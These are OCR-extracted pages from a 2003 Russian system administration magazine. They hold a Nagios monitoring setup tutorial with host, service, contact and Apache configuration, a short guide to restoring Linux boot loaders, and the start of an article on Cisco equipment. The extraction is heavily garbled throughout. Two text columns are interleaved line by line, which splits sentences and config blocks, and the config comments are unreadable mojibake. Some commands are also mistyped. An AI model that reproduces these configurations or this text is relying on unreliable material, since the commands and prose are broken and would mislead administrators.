-rw-rw-r-- 1 nagios nagios 1651 # îáû÷íî ñ ïîìîùüþ ping. Ïîäðîáíåå
Nov 11 15:41 dependencies.cfg-sample зданных во время инсталляции, до- # ìîæíî ïî÷èòàòü â ôàéëå
-rw-rw-r-- 1 nagios nagios 2022 вольно сложно. Самым лучшим выхо- # checkcommands.cfg
Nov 11 15:41 escalations.cfg-sample max_check_attempts 10
-rw-rw-r-- 1 nagios nagios 1658 дом из подобной ситуации будет унич- # Êîëè÷åñòâî ïîïûòîê ïîâòîðíîãî òåñ-
Nov 11 15:41 hostgroups.cfg-sample тожение всех конфигурационных дан- # òèðîâàíèÿ, ïîñëå òîãî êàê îäíà èç
-rw-rw-r-- 1 nagios nagios 5774 # ïîïûòîê âîçâðàòèëà îøèáî÷íûé
Nov 11 15:41 hosts.cfg-sample ных и создание их вручную под моим # ñòàòóñ.
-rw-rw-r-- 1 nagios nagios 4277 чутким руководством. Такой подход
Nov 11 15:41 misccommands.cfg-sample notification_interval 120
-rw-rw-r-- 1 nagios nagios 21332 принесет более глубокое понимание # Èíòåðâàë â ìèíóòàõ, ïî ïðîøåñòâèþ
Nov 11 15:41 nagios.cfg-sample используемой методики настройки. # êîòîðîãî íóæíî ïîâòîðíî îòñûëàòü
-rw-rw---- 1 nagios nagios 3074 # óâåäîìëåíèå, åñëè ñåðâåð âñå åùå
Nov 11 15:41 resource.cfg-sample Обнуляем все необходимые файлы. # íå ðàáîòàåò.
-rw-rw-r-- 1 nagios nagios 17668 notification_period 24x7
Nov 11 15:41 services.cfg-sample # Ïåðèîä âðåìåíè, â òå÷åíèå êîòîðîãî
-rw-rw-r-- 1 nagios nagios 1594 # cp /dev/null hosts.cfg # ñåðâåðó ðàçðåøåíî áåñïîêîèòü àäìè-
Nov 11 15:41 timeperiods.cfg-sample services.cfg contacts.cfg # íèñòðàòîðà ñâîèìè óâåäîìëåíèÿìè.
contactgroups.cfg hostgroups.cfg #  äàííîì ñëó÷àå ýòî êðóãëûå ñóòêè.
# cp /dev/null dependencies.cfg # Ïîäðîáíåå î ïåðèîäàõ ìîæíî
В названии каждого файла есть escalations.cfg # ïî÷èòàòü â ôàéëå timeperiods.cfg.
notification_options d,u,r
фрагмент -sample, значит, все выше- # Ñïèñîê ñîáûòèé, ïðè íàñòóïëåíèè
перечисленные файлы являются не Начиная с версии 1.0b2, в Nagios # êîòîðûõ íåîáõîäèìî îòñûëàòü
# óâåäîìëåíèÿ. Ñîîòâåòñòâåííî d,u,r
полноценными конфигурациями, а появилась возможность использовать # (DOWN, UNREACHABLE, RECOVERY)
всего лишь примерами. На случай, шаблоны внутри конфигурационных # îçíà÷àåò ñîáûòèÿ “ðàáîòàåò”,
# “íåäîñòóïåí”, “âîññòàíîâëåí”.
если нам вдруг захочется посмотреть, файлов. Такая методика настройки }
что там у них внутри, скопируем их в позволяет многократно снизить вре-
# Îïèñûâàåì õîñò ïî èìåíè proxy
директорию sample. Может быть, ког- мя создания рабочей конфигурации. define host{
да-то они нам еще пригодятся. Перед нами стоит задача описать два use generic-host
host_name proxy
хоста mail.regata.ru и proxy.regata.ru. # Èìÿ õîñòà. Òàêæå ñòîèò îáðàòèòü
# mkdir sample Каждый сервер, находящийся под на- # âíèìàíèå íà èçìåíèâøèåñÿ çàïèñè
# cp * ./sample # alias è address.
блюдением, должен быть описан в alias Proxy Server
файле хостов. Поэтому первым делом address proxy.regata.ru
check_command check-host-alive
Переименовываем все файлы, от- заполняем именно этот файл. max_check_attempts 10
секая цепочку символов –sample. Та- notification_interval 120
ким образом мы готовим файлы к Содержимое файла notification_period
notification_options
24x7
d,u,r
тому, чтобы Nagios смог их заметить hosts.cfg }
и правильно воспринять. В результа-
те должно получиться что-то вроде: # Îïèñûâàåì øàáëîí õîñòà Каждый хост должен состоять хотя
define host{
name бы в одной группе хостов. Опираясь
# ll generic-host на группы хостов, Nagios сможет оп-
total 94 # Èìÿ øàáëîíà – áóäåì ññûëàòüñÿ íà
-rw-rw-r-- 1 nagios nagios 17028 # íåãî ïîçæå ïðè îïèñàíèè êàæäîãî ределить, какую из групп админист-
Nov 11 16:13 cgi.cfg # õîñòà раторов нужно оповещать. Данные,
-rw-rw-r-- 1 nagios nagios 4480 notifications_enabled 1
Nov 11 16:13 checkcommands.cfg # Âêëþ÷àåì óâåäîìëåíèÿ полностью описывающие группы хо-
-rw-rw-r-- 1 nagios nagios 1577 event_handler_enabled 1 стов, находятся в файле host-
Nov 11 16:13 contactgroups.cfg # Âêëþ÷àåì îáðàáîò÷èê ñîáûòèé
-rw-rw-r-- 1 nagios nagios 1485 flap_detection_enabled 1 groups.cfg. Формат этого файла на-
Nov 11 16:13 contacts.cfg # Âêëþ÷àåì îáíàðóæåíèå ìåðöàíèÿ столько прост, что механизм шабло-
-rw-rw-r-- 1 nagios nagios 1651 process_perf_data 1
Nov 11 16:13 dependencies.cfg # Ñîáèðàòü ñòàòèñòèêó îá ýôôåêòèâ- нов применять смысла нет. Посмот-
-rw-rw-r-- 1 nagios nagios 2022 # íîñòè ðàáîòû ïðîöåññà рим, чем заполнен этот файл.
Nov 11 16:13 escalations.cfg retain_status_information 1
-rw-rw-r-- 1 nagios nagios 1658 # Ñîõðàíÿòü ñòàòóñíóþ èíôîðìàöèþ
Nov 11 16:13
-rw-rw-r--
hostgroups.cfg
1 nagios nagios 5774
# ìåæäó ïåðåçàãðóçêàìè ïðîãðàììû
retain_nonstatus_information 1
Содержимое файла
Nov 11 16:13 hosts.cfg # Ñîõðàíÿòü íåñòàòóñíóþ èíôîðìàöèþ hostgroups.cfg
-rw-rw-r-- 1 nagios nagios 4277 # ìåæäó ïåðåçàãðóçêàìè ïðîãðàììû
Nov 11 16:13 misccommands.cfg register 0 define hostgroup{
-rw-rw-r-- 1 nagios nagios 21332 # Óêàçûâàåì, ÷òî âñå âûøåîïèñàííîå – hostgroup_name regata-servers
Nov 11 16:13 nagios.cfg # ýòî øàáëîí. Çàïðåùàåì ðåãèñòðèðî-
-rw-rw---- 1 nagios nagios 3074 # âàòü ýòî îïèñàíèå êàê õîñò # Èìÿ ãðóïïû
alias Regata Servers
Nov 11 16:13 resource.cfg } # Ïñåâäîíèì ãðóïïû
drwxr-xr-x 2 root nagios 512
Nov 11 16:07 sample # Îïèñûâàåì õîñò ïî èìåíè mail contact_groups regata-admins
# Ñïèñîê ãðóïï êîíòàêòîâ, êîòîðûå
-rw-rw-r-- 1 nagios nagios 17668 define host{ # íóæíî óâåäîìëÿòü
Nov 11 16:13 services.cfg use generic-host
members mail proxy

№2(3), февраль 2003 11


администрирование
# Ñïèñîê ñåðâåðîâ, ïðèíàäëåæàùèõ ê # Ïåðèîä, â òå÷åíèå êîòîðîãî ìîæíî notification_period 24x7
# ãðóïïå # âûïîëíÿòü ïðîâåðêè notification_options w,u,c,r
} max_check_attemps 3 check_command check_smtp
# Ìàêñèìàëüíîå êîëè÷åñòâî ïîâòîðíûõ # Èìÿ êîìàíäû, âûïîëíÿåìîé äëÿ
# ïðîâåðîê # ïðîâåðêè ñåðâèñà
Пришло время вплотную занять- normal_check_interval 5 }
ся описанием сервисов, за которыми # Èíòåðâàë ìåæäó íîðìàëüíûìè
# ïðîâåðêàìè # Îïèñûâàåì ñåðâèñ IMAP äëÿ õîñòà
нужно наблюдать. Как и во всех ос- retry_check_interval 1 # mail.regata.rudefine service{
тальных конфигурационных файлах, # Èíòåðâàë ìåæäó ïîâòîðíûìè ïðîâåð- use generic-service
# êàìè. Ïðèìåíÿåòñÿ, åñëè íîðìàëüíàÿ hostname mail.regata.ru
первым делом необходимо создать # ïðîâåðêà çàâåðøèëàñü íåóäà÷íî service_description IMAP
шаблон сервиса. Мы разберем его contact_groups regata-admins # Îïèñàíèå ñåðâèñà
# Ãðóïïà êîíòàêòîâ, èñïîëüçóåìàÿ is_volatile 0
подробно. Затем второй и третьей # äëÿ îïîâåùåíèÿ check_period 24x7
записью будут описаны сервисы HTTP notification_interval 120 max_check_attemps 3
# Èíòåðâàë (â ìèíóòàõ), ïîñëå normal_check_interval 5
и PING, базирующиеся на хосте # êîòîðîãî íóæíî ïîñëàòü ïîâòîðíîå retry_check_interval 1
proxy.regata.ru. Соответственно, да- # óâåäîìëåíèå, åñëè ñåðâèñ òàê è íå contact_groups regata-admins
# âîññòàíîâèëñÿ notification_interval 120
лее мы работаем с mail.regata.ru, на notification_period 24x7 notification_period 24x7
котором у нас базируются SMTP и # Ïåðèîä, â òå÷åíèå êîòîðîãî ìîæíî notification_options w,u,c,r
# ïðîèçâîäèòü îòïðàâêó óâåäîìëåíèé check_command check_imap
IMAP. notification_options w,u,c,r # Èìÿ êîìàíäû, âûïîëíÿåìîé äëÿ
# Ñïèñîê ñîáûòèé, ïðè íàñòóïëåíèè # ïðîâåðêè ñåðâèñà
Содержимое файла # êîòîðûõ íåîáõîäèìî
# îòñûëàòü óâåäîìëåíèÿ.
}

services.cfg check_command check_http Как вы, возможно, сумели дога-


# Èìÿ êîìàíäû, âûïîëíÿåìîé äëÿ
# ïðîâåðêè ñåðâèñà даться, имена команд, вызываемых
# Îïèñûâàåì øàáëîí ñåðâèñà } для выполнения проверки того или
define service{
name generic-service иного сервиса, определяются пара-
# Èìÿ øàáëîíà # Îïèñûâàåì ñåðâèñ PING äëÿ õîñòà метром check_command. Сами же ко-
active_checks_enabled 1 # proxy.regata.rudefine service{
# Âêëþ÷èòü àêòèâíûå ïðîâåðêè use generic-service манды описываются в файле
passive_checks_enabled 1 # Èìÿ èñïîëüçóåìîãî øàáëîíà checkcommands.cfg. По странному
# Ïðèíèìàòü ðåçóëüòàòû ïàññèâíûõ hostname proxy.regata.ru
# ïðîâåðîê # Èìÿ õîñòà стечению обстоятельств команда
parallelize_check 1 service_description PING check_imap в этом файле не описана,
# Àêòèâíûå ïðîâåðêè ëó÷øå âûïîëíÿòü # Îïèñàíèå ñåðâèñà
# ïàðàëëåëüíî – òàêîé ïîäõîä is_volatile 0 несмотря на то что среди модулей, ус-
# ïîâûøàåò ñêîðîñòü ðàáîòû check_period 24x7 тановленных в директорию /usr/local/
obsess_over_service 0 # Ïåðèîä, â òå÷åíèå êîòîðîãî ìîæíî
# Ýòó îïöèþ ñòîèò âêëþ÷àòü òîëüêî # âûïîëíÿòü ïðîâåðêè nagios/libexec/, файл check_im-ap при-
# ïðè ñîçäàíèè ðàñïðåäåëåííîé max_check_attemps 3 сутствует. Видимо, это еще одна
# ñèñòåìû ìîíèòîðèíãà # Ìàêñèìàëüíîå êîëè÷åñòâî ïîâòîðíûõ
check_freshness 0 # ïðîâåðîê ошибка программистов Nagios. Ну и
# Ñëåäèòü çà ñâåæåñòüþ ðåçóëüòàòîâ normal_check_interval 5 ладно, нам не привыкать делать все
# ïðîâåðîê. Ïî óìîë÷àíèþ îòêëþ÷åíî # Èíòåðâàë ìåæäó íîðìàëüíûìè
notifications_enabled 1 # ïðîâåðêàìè собственными руками. Разместим на
# Óâåäîìëåíèÿ âêëþ÷åíû retry_check_interval 1 любом месте файла checkcom-
event_handler_enabled 1 # Èíòåðâàë ìåæäó ïîâòîðíûìè ïðîâåð-
# Âêëþ÷èòü îáðàáîò÷èêè ñîáûòèé # êàìè. Ïðèìåíÿåòñÿ, åñëè íîðìàëü- mands.cfg следующие строки:
flap_detection_enabled 1 # íàÿ ïðîâåðêà çàâåðøèëàñü íåóäà÷íî
# Èñïîëüçîâàòü îáíàðóæåíèå ìåðöàíèÿ contact_groups regata-admins # 'check_imap' command definition
process_perf_data 1 # Ãðóïïà êîíòàêòîâ, èñïîëüçóåìàÿ define command{
# Ñîáèðàòü äàííûå îá ýôôåêòèâíîñòè # äëÿ îïîâåùåíèÿ
# âûïîëíåíèÿ ïðîâåðîê command_name check_imap
notification_interval 120 command_line $USER1$/
retain_status_information 1 # Èíòåðâàë (â ìèíóòàõ), ïîñëå check_imap -H $HOSTADDRESS$
# Ñîõðàíÿòü èíôîðìàöèþ î ñòàòóñå # êîòîðîãî íóæíî ïîñëàòü ïîâòîðíîå
# ìåæäó ïåðåçàïóñêàìè Nagios }
# óâåäîìëåíèå, åñëè ñåðâèñ òàê è íå
retain_nonstatus_information 1 # âîññòàíîâèëñÿ
# Ñîõðàíÿòü íåñòàòóñíóþ èíôîðìàöèþ notification_period 24x7 Создав описание сервисов, самое
# ìåæäó ïåðåçàïóñêàìè Nagios # Ïåðèîä, â òå÷åíèå êîòîðîãî ìîæíî
register 0 # ïðîèçâîäèòü îòïðàâêó óâåäîìëåíèé время перейти к определению списка
# Çàïðåùàåì ðåãèñòðèðîâàòü ýòî notification_options w,u,c,r людей, которым система будет отсы-
# îïèñàíèå êàê ñåðâèñ # Ñïèñîê ñîáûòèé, ïðè íàñòóïëåíèè
} # êîòîðûõ íåîáõîäèìî лать оповещения. В терминологии
# îòñûëàòü óâåäîìëåíèÿ. Nagios каждая запись в файле
# Îïèñûâàåì ñåðâèñ HTTP äëÿ õîñòà check_command check_ping
# proxy.regata.rudefine service{ # Èìÿ êîìàíäû, âûïîëíÿåìîé äëÿ contacts.cfg, описывающая человека, –
use generic-service # ïðîâåðêè ñåðâèñà это контакт. Формат записи довольно
# Èìÿ èñïîëüçóåìîãî øàáëîíà }
hostname proxy.regata.ru прост, поэтому и в данном случае шаб-
# Èìÿ õîñòà # Îïèñûâàåì ñåðâèñ SMTP äëÿ õîñòà лоны нам не пригодятся.
service_description HTTP # mail.regata.rudefine service{
# Îïèñàíèå ñåðâèñà use generic-service
is_volatile 0
# Äëÿ ñòàíäàðòíûõ ñåðâèñîâ ëó÷øå
hostname mail.regata.ru Содержимое файла
# îñòàâèòü çíà÷åíèå 0. Ê íåñòàíäàðò-
service_description SMTP
# Îïèñàíèå ñåðâèñà contacts.cfg
# íûì ñåðâèñàì ñòîèò îòíîñèòü òå is_volatile 0
# ñåðâèñû, êîòîðûå ïîñëå êàæäîé check_period 24x7 define contact{
# ïðîâåðêè àâòîìàòè÷åñêè âîçâðàùàþòñÿ max_check_attemps 3 contact_name tigrisha
# â ñîñòîÿíèå “ÎÊ” âíå çàâèñèìîñòè normal_check_interval 5
# îò ðåæèìà, â êîòîðîì îíè # Èìÿ êîíòàêòà
retry_check_interval 1 alias Andrei Beshkov
# íàõîäèëèñü äî ïðîâåðêè. contact_groups regata-admins # Èìÿ ÷åëîâåêà
check_period 24x7 notification_interval 120 service_notification_period 24x7

12
администрирование
# Ïåðèîä âðåìåíè, â òå÷åíèå êîòîðîãî зависимости между хостами. Ну а 101 ?? Ss 0:20.81 /usr/
# ðàçðåøåíî ïîñûëàòü óâåäîìëåíèÿ local/nagios/bin/nagios -d /usr/local/
# î ñîñòîÿíèè ñåðâèñîâ файл escalations.cfg, в свою очередь, nagios/etc
host_notification_period 24x7 описывает эскалацию оповещений. В
# Ïåðèîä âðåìåíè, â òå÷åíèå êîòîðîãî
# ðàçðåøåíî ïîñûëàòü óâåäîìëåíèÿ связи с тем, что рассматриваемый Если, несмотря на все принятые
# î ñîñòîÿíèè õîñòîâ нами пример состоит всего из двух предосторожности, Nagios продолжа-
service_notification_options w,u,c,r
# Ñïèñîê ñîáûòèé ñåðâèñîâ, ïðè хостов, файлы зависимостей и эска- ет кричать об ошибках, то стоит убе-
# íàñòóïëåíèè êîòîðûõ íåîáõîäèìî лации нам не пригодятся. Отсюда диться, что директория /usr/local/
# îòñûëàòü óâåäîìëåíèÿ.
host_notification_options d,u,r вытекает приятный факт, говорящий, nagios/ вместе со всем своим содер-
# Ñïèñîê ñîáûòèé õîñòîâ, ïðè что необходимости заполнять их у нас жимым принадлежит пользователю
# íàñòóïëåíèè êîòîðûõ íåîáõîäèìî
# îòñûëàòü óâåäîìëåíèÿ нет. Возможно, в следующей статье я nagios и группе nagios. В случае еже-
service_notification_commands подробно опишу работу с файлами ли подобные ожидания не оправды-
notify-by-email, notify-by-epager
# Êîìàíäû ðàññûëêè óâåäîìëåíèé î зависимостей и эскалации. ваются, выполняем смену владельца.
# ñîáûòèÿõ ñåðâèñà Конфигурирование, наконец-то,
host_notification_commands host-
notify-by-email, host-notify-by-epager завершено. Перед пробным запуском # chown –R nagios:nagios /usr/
# Êîìàíäû ðàññûëêè óâåäîìëåíèé î стоит упомянуть, что Nagios может local/nagios/
# ñîáûòèÿõ õîñòà
email admin@regata.ru быть запущен четырьмя способами.
# Ïî÷òîâûé àäðåñ Давайте перечислим их. Ну если и это не помогло, то вам
pager 150345865@pager.icq.com
# Àäðåñ ñèñòåìû ïåéäæèíãà  Вручную – как процесс переднего стоит запустить Nagios в режиме от-
} плана. ладки.
define contact{  Вручную – как фоновый процесс.
contact_name amon  Вручную – как демон. # /usr/local/nagios/bin/nagios -v
# Èìÿ êîíòàêòà
alias Dmitry Larin  Автоматически – как демон, при /usr/local/nagios/etc/nagios.cfg
# Èìÿ ÷åëîâåêà старте системы.
service_notification_period 24x7
# Ïåðèîä âðåìåíè, â òå÷åíèå êîòîðîãî В режиме отладки тексты сооб-
# ðàçðåøåíî ïîñûëàòü óâåäîìëåíèÿ î Для проверки конфигурации вос- щений обо всех найденных неполад-
# ñîñòîÿíèè ñåðâèñîâ
host_notification_period 24x7 пользуемся способом № 3. Собрав- ках будут более подробными. Это
# Ïåðèîä âðåìåíè, â òå÷åíèå êîòîðîãî шись с духом, можно попытаться за- обстоятельство поможет легче и
# ðàçðåøåíî ïîñûëàòü óâåäîìëåíèÿ î
# ñîñòîÿíèè õîñòîâ пустить систему и начать мониторинг. быстрее обнаружить ошибки. Проце-
service_notification_options w,u,c,r Воспользуемся для этих целей скрип- дура исправления ошибок в таком
# Ñïèñîê ñîáûòèé ñåðâèñîâ, ïðè
# íàñòóïëåíèè êîòîðûõ íåîáõîäèìî том nagios.sh. случае довольно проста. Исходя из
# îòñûëàòü óâåäîìëåíèÿ. этого, я надеюсь, что у вас все по-
host_notification_options d,u,r
# Ñïèñîê ñîáûòèé õîñòîâ, ïðè # /usr/local/etc/rc.d/nagios.sh лучится, если не с первого, то со
# íàñòóïëåíèè êîòîðûõ íåîáõîäèìî второго раза точно.
# îòñûëàòü óâåäîìëåíèÿ.
service_notification_commands После этого должно произойти Nagios уже выполняет мониторинг
notify-by-email, notify-by-epager одно из двух: либо Nagios начнет ра- сервисов и при наступлении крити-
# Êîìàíäû ðàññûëêè óâåäîìëåíèé î
# ñîáûòèÿõ ñåðâèñà ботать, либо на экране появится сле- ческих событий отправляет оповеще-
host_notification_commands host- дующая ошибка: ния всем, кому положено. Но по од-
notify-by-email, host-notify-by-epager
# Êîìàíäû ðàññûëêè óâåäîìëåíèé î ним оповещениям понять, что проис-
# ñîáûòèÿõ õîñòà Starting network monitor: nagios ходит, не так уж и легко. Согласи-
email amon@regata.ru
# Ïî÷òîâûé àäðåñ
/bin/sh: -l: unrecognized option тесь, что в интерактивном режиме
pager 150345865@pager.icq.com смотреть статистику работы и разби-
# Àäðåñ ñèñòåìû ïåéäæèíãà
} Не пугайтесь, если вам довелось раться с проблемами гораздо легче.
наступить на эти грабли. Приведенное Исходя из этого, давайте обратим
Каждый контакт должен принадле- выше сообщение об ошибке значит, наши взоры к процедуре настройки
жать как минимум одной контактной что операционная система, на которой веб-интерфейса. В данной статье
группе. Давайте создадим такую груп- вы работаете, не поддерживает опцию предполагается, что на машине, за-
пу для контактов, описанных выше. -l команды su. В случае с FreeBSD дело нимающейся системой мониторинга,
обстоит именно таким образом. По- работает веб-сервер Apache. Он обя-
Содержимое файла этому команда должна выглядеть так: зан быть хотя бы минимально настро-
contactgroups.cfg su -. В файле /usr/local/etc/rc.d/ nagios.sh ен и должен функционировать дос-
ищем строку, содержущую символы su таточно стабильно.
define contactgroup{ -l, и удаляем из нее букву l. Вот теперь- В файле настроек Apache httpd.conf
contactgroup_name regata-admins
# Èìÿ êîíòàêòíîé ãðóïïû то все должно работать как положено. ищем такой фрагмент текста:
alias regata.ru Admins Снова запускаем Nagios. Проверяем,
# Ïñåâäîíèì ãðóïïû <Directory "/usr/local/apache/
members tigrisha amon как он себя чувствует с помощью клю-
# Ñïèñîê êîíòàêòîâ, ñîñòîÿùèõ â cgi-bin">
ча командной строки status. AllowOverride None
# ãðóïïå Options None
} Order allow,deny
# /usr/local/etc/rc.d/nagios.sh
status Allow from all
Файл dependencies.cfg отвечает за </Directory>
PID TT STAT TIME COMMAND

№2(3), февраль 2003 13


администрирование
Сразу же после них добавляем Список паролей и имен пользовате- use_authentication=1
# Âêëþ÷àåì àóòåíòèôèêàöèþ
такие строки: лей должен находиться в файле /usr/ # ïîëüçîâàòåëåé
local/nagios/etc/htpasswd.users, который
check_external_commands=1
ScriptAlias /nagios/cgi-bin/ "/usr/ на данный момент еще не существует. # Ðàçðåøàåì îáðàáàòûâàòü êîìàíäû,
local/nagios/sbin/"
<Directory "/usr/local/nagios/ Заводим нового пользователя и заод- # ïåðåäàâàåìûå ïðîöåññó Nagios
# ÷åðåç âåá-èíòåðôåéñ.
sbin/"> но с помощью ключа –c создаем файл.
AllowOverride AuthConfig
Options ExecCGI command_file=/usr/local/nagios/var/
Order allow,deny # /usr/local/apache/bin/tpasswd -c nagios.cmd
Allow from all /usr/local/nagios/etc/htpasswd.users # Ìåñòîïîëîæåíèå ôàéëà âíåøíèõ
</Directory> tigrisha # êîìàíä.
New password: ******
Alias /nagios/ /usr/local/nagios/ Re-type new password: ******
share/ Adding password for user tigrisha Для того чтобы внесенные изме-
<Directory "/usr/local/nagios/ нения вступили в силу, перезапуска-
share/">
AllowOverride AuthConfig С помощью той же команды, но ем процесс Nagios:
Options None без ключа –с, создаем еще одного
Order allow,deny
Allow from all пользователя. # /usr/local/etc/rc.d/nagios.sh
</Directory> restart
# /usr/local/apache/bin/htpasswd /
usr/local/nagios/etc/htpasswd.users
Выполнив эту процедуру, мы со- amon Если все сделали правильно, то
здали два псевдонима. Первый – для New password: ****** теперь самое время наслаждаться
Re-type new password: ******
cgi директории nagios, находящейся в Adding password for user amon отлично работающей системой мони-
«/usr/local/nagios/sbin/». Доступ к ней торинга. Мы установили наблюдение
можно получить, выполнив подобный Теперь давайте займемся конфи- за двумя тестовыми хостами. Проце-
http-запрос: http://ваш сайт/nagios/cgi- гурационным файлом /usr/local/nagios/ дуру добавления остальных хостов
bin/. Второй псевдоним указывает, что etc/cgi.cfg. Нам нужно изменить неко- оставляю читателю в качестве само-
в директории /usr/local/nagios/share/ торые параметры: стоятельного упражнения.
находятся html-файлы веб-интерфей-
са и справочной документации . Про- authorized_for_system_information=tigrisha,
смотреть эти страницы можно, посе- amon
# Ñïèñîê ïîëüçîâàòåëåé, êîòîðûì
тив адрес: http://ваш сайт /nagios/. # ðàçðåøåí ïðîñìîòð èíôîðìàöèè î
При попытке посетить эти страницы, # ðàáîòå ïðîöåññà Nagios
получаем ошибку. Для того чтобы authorized_for_configuration_information=
псевдонимы и авторизация заработа- tigrisha, amon
# Ñïèñîê ïîëüçîâàòåëåé, êîòîðûì
ли, нужно создать файл .htaccess в # ðàçðåøåí ïðîñìîòð èíôîðìàöèè î
директории /usr/local/nagios/sbin/ и # êîíôèãóðàöèè âñåõ õîñòîâ è
# ñåðâèñîâ. Ïî óìîë÷àíèþ ïîëüçîâàòåëü
внести в него следующие строки: # ìîæåò ñìîòðåòü êîíôèãóðàöèþ òîëüêî
# õîñòîâ è ñåðâèñîâ, ïðèíàäëåæàùèõ
# ê åãî êîíòàêòíîé ãðóïïå.
AuthName "Nagios Access"
AuthType Basic
AuthUserFile /usr/local/nagios/etc/ authorized_for_system_commands=tigrisha,
htpasswd.users amon
require valid-user # Ñïèñîê ïîëüçîâàòåëåé, àâòîðèçî-
# âàííûõ äëÿ âûïîëíåíèÿ ÷åðåç
# cmd.cgi êîìàíä óïðàâëåíèÿ
Для вступления в силу выполнен- # ïðîöåññîì Nagios.
ных изменений осталось лишь пере- authorized_for_all_services=tigrisha,
запустить Apache. amon
authorized_for_all_hosts=tigrisha,
amon
# /usr/local/apache/bin/apachectl # Ýòè äâà ïàðàìåòðà îïðåäåëÿþò ñïèñîê
restart # ïîëüçîâàòåëåé, êîòîðûì ðàçðåøåí
# ïðîñìîòð èíôîðìàöèè îáî âñåõ
# íàáëþäàåìûõ õîñòàõ è ñåðâèñàõ.
# Ïî óìîë÷àíèþ ïîëüçîâàòåëü ìîæåò
Таким образом мы объясняем # âèäåòü òîëüêî òå õîñòû è ñåðâèñû,
веб-серверу, что доступ к файлам # êîòîðûå ïðèíàäëåæàò ê åãî
# êîíòàêòíîé ãðóïïå.
директории /usr/local/nagios/sbin/ мо-
жет получить только авторизован- refresh_rate=10
# ×àñòîòà îáíîâëåíèÿ (â ñåêóíäàõ)
ный пользователь. Если есть жела- # èíôîðìàöèè, ïðîñìàòðèâàåìîé ÷åðåç
ние, чтобы пользователи не смогли # âåá-èíòåðôåéñ. Ïî óìîë÷àíèþ
# óñòàíîâëåíî 90 ñåêóíä, íî íàì
войти даже на главную страницу # òàêîé áîëüøîé èíòåðâàë íå ïîäõîäèò.
Nagios без ввода пароля, то нужно # Ïîýòîìó ïîñòàâèì 10 ñåêóíä.
скопировать файл .htaccess из ди-
ректории /usr/local/nagios/sbin/ в /usr/ Теперь в файл nagios.cfg вносим
local/nagios/share/. следующие изменения:

14
администрирование

ВОССТАНОВЛЕНИЕ ЗАГРУЗКИ
ОПЕРАЦИОННОЙ СИСТЕМЫ LINUX
АНДРЕЙ ШЕВЧЕНКО

Как известно, операционные системы (ОС) фирмы представлять строку shell с раздела /(root) жесткого диска.
Microsoft, такие как Windows 95, Windows 98, Windows 98 Далее восстанавливаем загрузочную запись в зави-
SE и др., при переустановке не сохраняют информацию, симости от применяемого загрузчика.
помещенную в основную загрузочную запись (MBR –
Master Boot Record). Поэтому, при переустановке систе- lilo (äëÿ LILO) aspldr -m (äëÿ ASPLoader)
мы типа Windows в случае параллельного присутствия на
жестком диске еще одной ОС с загрузчиком, хранящем- Не забудем выйти отсюда командой:
ся в ОЗЗ, теряется возможность загрузки этой самой ОС.
Данное краткое руководство посвящено как раз воп- exit
росу восстановления возможности загрузки ОС Linux на
примере загрузочного диска (или дискеты) дистрибутива А потом отмонтировать раздел командой:
ASPLinux.
В качестве инструментария можно выбрать несколько umount /my_root_part
вариантов. Первый и более удачный – это загрузка сис-
темы с установочного диска. Второй – с загрузочных дис- Если все прошло гдадко, то можно смело перезагру-
кет или одной загрузочной дискеты. Но второй вариант жаться в нормальном режиме, предварительно отключив
имеет преимущество над первым ввиду своей универсаль- загрузку с CD или вытащив его.
ности. При этом все же желательно иметь достаточную
квалификацию. Способ второй
Обратимся теперь к более сложному варианту, когда под
Способ первый рукой нет диска, с помощью которого можно получить
Первым шагом необходимо установить загрузку с CD- «recovery console» или аналогичный shell.
ROM и вставить установочный диск. Для того чтобы воспользоваться таким диском, следу-
При появлении надписи «Starting ASPLoader. Press ет проделать несколько предварительных операций.
<ESC> for menu...», нажать Esc и выбрать в меню «ASPlinux Загружаем систему с любого носителя в любом режи-
Recovery Console». ме, чтобы получить shell с правами суперпользователя.
После загрузки появится приглашение командного Затем создаем файлы-устройства для разделов жестко-
интерпретатора с правами суперпользователя (пользова- го диска следующими командами:
теля root по умолчанию).
mkdir -p /my_dev
Очередным шагом будет следующая последователь- mknod /my_dev/hda b 3 0
ность команд: ...
mknod /y_dev/hda15 b 3 15

mkdir -p /my_root_part mount /dev/hdXy /my_root_part mknod /my_dev/hdb b 3 64


...
mknod /my_dev/hdb15 b 3 79
где X = a, b, c, d в зависимости от установки жесткого
mknod /my_dev/hdc b 22 0
диска (a - master на первом контроллере, b – slave на пер- ...
вом контроллере, c - master на втором контроллере, d - mknod /my_dev/hdc15 b 22 15
slave на втором контроллере), а y – номер раздела, на mknod /my_dev/hdd b 22 64
котором расположена система /(root) установленной ОС ...
mknod /my_dev/hdd15 b 22 79
ASPLinux; my_root_part – имя точки монтирования для раз-
дела /(root); mkdir и mount – команды «создать директо- Выше приведен полный список команд, из которых не-
рию» и «подмонтировать раздел» соответственно. обходимо использовать лишь те, которые создают файлы-
Основным и третьим шагом будет собственно восста- устройства самого диска (hda, hdb, hdc или hdd), так и те,
новление ОЗЗ. Вначале необходимо исполнить такую ко- которые создают файлы-устройства на раздел, содержа-
манду: щий /(root) восстанавливаемой ОС.
После вышеописанных действий все остальные проце-
chroot /my_root_part дуры повторяются точно также, как и в случае первого ва-
рианта. (Однако надо учесть, что файлы-устройства необ-
Таким образом, командный интерпретатор будет уже ходимо брать из каталога /my_dev вместо привычного /dev).

№2(3), февраль 2003 15


администрирование

ИМПЕРИЯ
CISCO

ДЕНИС ЕЛАНСКИЙ
16
администрирование
Данной публикацией мы начинаем Коммутаторы
знакомить наших читателей с обо- Автор полагает, что читатель знаком
рудованием, выпускаемым фирмой с терминологией OSI ISO, а также с
Cisco. Основанная в 1984 году, Cisco базовыми аспектами построения
за прошедшие годы стала признан- ЛВС. Вкратце, коммутатор – это мно-
ным лидером в производстве актив- гопортовое устройство, работающее
ного сетевого оборудования. Кроме на канальном уровне, что позволяет
того, в настоящее время в сферу ин- существенно повысить производи-
тересов компании входят не только тельность сетей Ethernet, а также из-
канонические коммутаторы и марш- бежать ограничения 5/4/3. Основным
рутизаторы, но и многочисленное отличием коммутатора от повторите-
оборудование и программное обес- ля или концентратора является то, что
печение, имеющие к вычислитель- приходящие пакеты после усиления
ным сетям весьма опосредованное ретранслируются не на все доступные
отношение. Это серверы доступа, порты, а только на тот, канальный
кабели, ПО коммутаторов и марш- адрес (MAC-адрес) которого соответ-
рутизаторов (Cisco IOS – операци- ствует адресу получателя. Подобная
онная система межсетевого взаимо- формулировка не совсем корректна,
действия), ПО управления корпора- но вполне отображает суть дела.
тивными сетями (Cisco works), кон- В настоящее время в производ-
